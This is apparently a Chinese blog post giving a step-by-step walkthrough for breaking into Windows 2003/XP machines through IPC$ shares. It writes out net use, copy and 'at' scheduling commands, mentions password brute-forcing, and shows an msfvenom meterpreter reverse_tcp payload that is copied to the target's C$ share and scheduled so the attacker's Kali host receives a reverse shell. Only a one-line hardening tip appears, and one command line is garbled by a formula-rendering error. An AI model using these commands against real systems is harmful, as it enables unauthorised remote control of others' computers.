windows IPC$ 入侵

系统管理员 2021-09-28 03:52 367阅读 0赞

**IPC$简介**  
IPC$ (Internet Process Connection)国人叫他共享"命名管道"资源服务。  
其实看原始英文名称我们能更好的理解他的用途和作用。  
IPC$就是为“进程”间建立网络连接而存在的服务  
说的再明确点就是：IPC$是一个为“各类进程”建立网络通信连接而存在的服务

**ipc利用**  
1.windows server 2003 与 windows xp ipc连接无需密码即可建立连接  
2.暴力破解windows 密码，执行远程主机命令,获取主机权限

**部分用法**  
cmd> net use \* /del 删除所有ipcKaTeX parse error: Undefined control sequence: \\c at position 32: …ayload.exe \\\\ip\\̲c̲ 复制file到 指定ip c目录  
cmd> net time \\ip 查看 指定ip 的时间  
cmd> net share 查看 本地共享  
cmd> net use 查看已建立的共享

cmd> at \\ip x:x c:\\payload.exe 计划任务（远程主机）  
cmd> at \\ip /del id 删除指定id host plan

**ipc$ windows2003 入侵步骤**

RHOST : windows2003
    THOST ： windows  xp
    LHOST : kali
    
    
    kali> msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x  LPORT=4445	-f exe -o ss.exe
    开启msf监听并将 ss.exe 传到 THOST 中，
    
    THOST
    cmd>   net use \\RHOST\IPC$
    cmd>   copy ss.exe \\RHOST\c$
    cmd>	net time \\RHOST
    cmd>	at \\RHOST  x:x	c:\\ss.exe

等待命令执行，kali获得反弹shell

**加固方案：**  
cmd> net stop server

**reference material**:  
https://blog.csdn.net/bytxl/article/details/46790995  
http://soft.yesky.com/security/182/2495182.shtml

发表评论取消回复

表情：

评论列表（有 0 条评论，367人围观）

还没有评论，来说两句吧...

相关阅读

相关 IPC$入侵大全

0x01 ipc$的定义 IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的)，它是为了让进程间通信而开放的命名

本是古典何须时尚/ 2024年04月07日 11:03/ 0 赞/ 70 阅读

相关 dart windows 命名管道ipc通信 demo

Dart语言中可以使用`dart:io`库中的`RawSocket`类来实现Windows命名管道IPC通信。实现步骤如下： 1. 创建一个命名管道，使用`RawSoc

不念不忘少年蓝@/ 2024年03月25日 11:09/ 0 赞/ 105 阅读

相关借助 Windows 事件转发进行入侵检测

了解有关从组织的设备中收集事件的方法。本文同时讨论了正常操作情况下以及怀疑有入侵时的事件。 Windows 事件转发（WEF）在你的组织中的设备上读取任何运行或管理事件日志

青旅半醒/ 2023年10月07日 08:44/ 0 赞/ 24 阅读

相关 Windows主机入侵痕迹排查办法

目录 1、排查思路 1.1、初步筛选排查资产 1.2、确定排查资产 1.3、入侵痕迹排查 2、排查内容 2

Dear 丶/ 2023年10月06日 16:06/ 0 赞/ 60 阅读

相关 Windows入侵溯源分析

目录溯源分析的目的溯源分析的思路系统补丁检测恶意用户排查系统日志排查

本是古典何须时尚/ 2023年10月06日 15:24/ 0 赞/ 66 阅读

相关借助 Windows 事件转发进行入侵检测

[使用 Windows 事件转发帮助进行入侵检测 (Windows 10) - Windows security | Microsoft Docs][Windows _ _Wi

蔚落/ 2023年09月28日 18:24/ 0 赞/ 15 阅读

相关 IPC$入侵

一唠叨一下：网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄. 二什

约定不等于承诺〃/ 2023年06月01日 05:50/ 0 赞/ 20 阅读

相关 Telnet入侵Windows2000

开启Telnet 打开控制面板，管理工具 ![1][] 计算机管理 ![2][] 连接刚刚探测到的主机 ![3][] 输入探测到的主机IP ![

男娘i/ 2022年05月28日 13:37/ 0 赞/ 239 阅读

相关 Windows系统被入侵后处理方式介绍

使用前一定先创建快照备份，否则不要使用本文方法。 1、将ECS断开网络连接使用ECS安全组单独对该ECS进行隔离；出方向禁止所有协议。入方向只允许运

港控/mmm°/ 2022年04月24日 14:18/ 0 赞/ 236 阅读

相关 windows IPC$ 入侵

IPC$简介 IPC$ (Internet Process Connection)国人叫他共享"命名管道"资源服务。其实看原始英文名称我们能更好的理解他的用途和作用。

系统管理员/ 2021年09月28日 03:52/ 0 赞/ 368 阅读